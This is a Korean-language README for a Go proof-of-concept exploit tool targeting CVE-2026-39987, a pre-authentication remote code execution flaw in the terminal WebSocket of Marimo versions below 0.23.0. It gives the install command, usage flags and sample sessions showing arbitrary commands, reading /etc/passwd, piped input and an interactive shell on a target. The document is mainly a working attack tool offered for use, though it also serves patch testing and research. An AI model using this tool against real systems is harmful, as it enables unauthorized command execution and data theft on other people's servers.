
인증되지 않은 /terminal/ws WebSocket에 연결하여 Marimo <0.23.0의 CVE-2026-39987 사전 인증 RCE를 악용합니다. 임의 명령 실행, 파이프 입력, 대화형 셸 세션을 지원합니다.
저는 그냥 Go를 시험해보는 중이에요 :D 참고로, CVE-2026-39987 PoC: Marimo<0.23.0에서 터미널 WebSocket 인증 우회를 통한 사전 인증 원격 코드 실행 (/terminal/ws에 대한 인증 검사가 없음).
리소스:
go install -v github.com/matesz44/cve-2026-39987/cmd/cve-2026-39987@latest
cve-2026-39987 -h
이 도구에 대한 도움말이 표시됩니다. 지원하는 모든 스위치는 다음과 같습니다.
CVE-2026-39987 PoC: Marimo<0.23.0 Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
- Source: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
Usage:
./cve-2026-39987 [flags]
Flags:
-t, -target string Target WebSocket URL (required, e.g., ws(s)://[TARGET]:([PORT])/terminal/ws)
-c, -cmd string Command to Run (default "uname -a")
-i, -interactive Interactive Mode
기본 명령 (uname -a):
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws
REDACTED@REDACTED:~$ uname -a
Linux [...]
REDACTED@REDACTED:~$ exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended
사용자 지정 명령 (-c):
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws -c "cat /etc/passwd"
REDACTED@REDACTED:~$ cat /etc/passwd
exit
root:x:0:0: [...]
REDACTED@REDACTED:~$ exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended
대화형 모드 (-i):
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws -i
REDACTED@REDACTED:~$ id
id
uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
REDACTED@REDACTED:~$ whoami
whoami
REDACTED
REDACTED@REDACTED:~$ exit
exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended
파이핑:
printf "id\nwhoami" | cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws
REDACTED@REDACTED:~$ id
whoami
exit
uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
REDACTED@REDACTED:~$ whoami
REDACTED
REDACTED@REDACTED:~$ exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended